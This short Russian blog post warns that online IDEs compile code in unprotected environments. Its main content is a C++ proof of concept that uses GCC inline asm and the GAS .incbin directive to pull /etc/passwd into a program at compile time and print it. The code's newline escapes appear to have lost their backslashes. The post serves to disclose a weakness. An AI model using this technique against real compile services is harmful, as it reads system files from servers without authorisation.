В последнее время появилось множество online IDE с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.
GCC + GAS
GCC позволяет с помощью директивы asm
вызывать GAS, у которого есть замечательная инструкция incbin
. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:
#include <stdio.h>
extern "C"
asm(
".global _datan"
".datan"
"_data:n"
".incbin "/etc/passwd"n"
".byte 0"
);
extern const char _data;
const char* data = &_data;
int main() {
printf("%s", data);
}
Автор: dannote